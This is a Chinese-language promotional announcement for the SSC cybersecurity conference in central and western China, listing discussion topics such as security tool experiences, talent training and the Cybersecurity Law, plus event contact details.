兵器排行榜(安全工具使用心得)

安全人才培养:

学校如何培养人才,企业需要什么人才,我们怎么做?

你眼中的网络安全法?

(甲方、乙方等对网络安全法的解读与理解)

甲方安全对话乙方安全

 聚焦中西部网络安全盛会

一场对中西部网络安全发展趋势的把脉

一场关于一带一路新起点带来的发展与机遇

一场甲方与乙方的深入互动

一场白帽子与SRC的对话

一场安全人才培养方向与黑客精神传递的探讨

一场值得期待的网络安全盛会

一场因你而精彩的SSC

期待你的到来

联系人:衡女士      

电话:029-88894789     

邮箱:[email protected]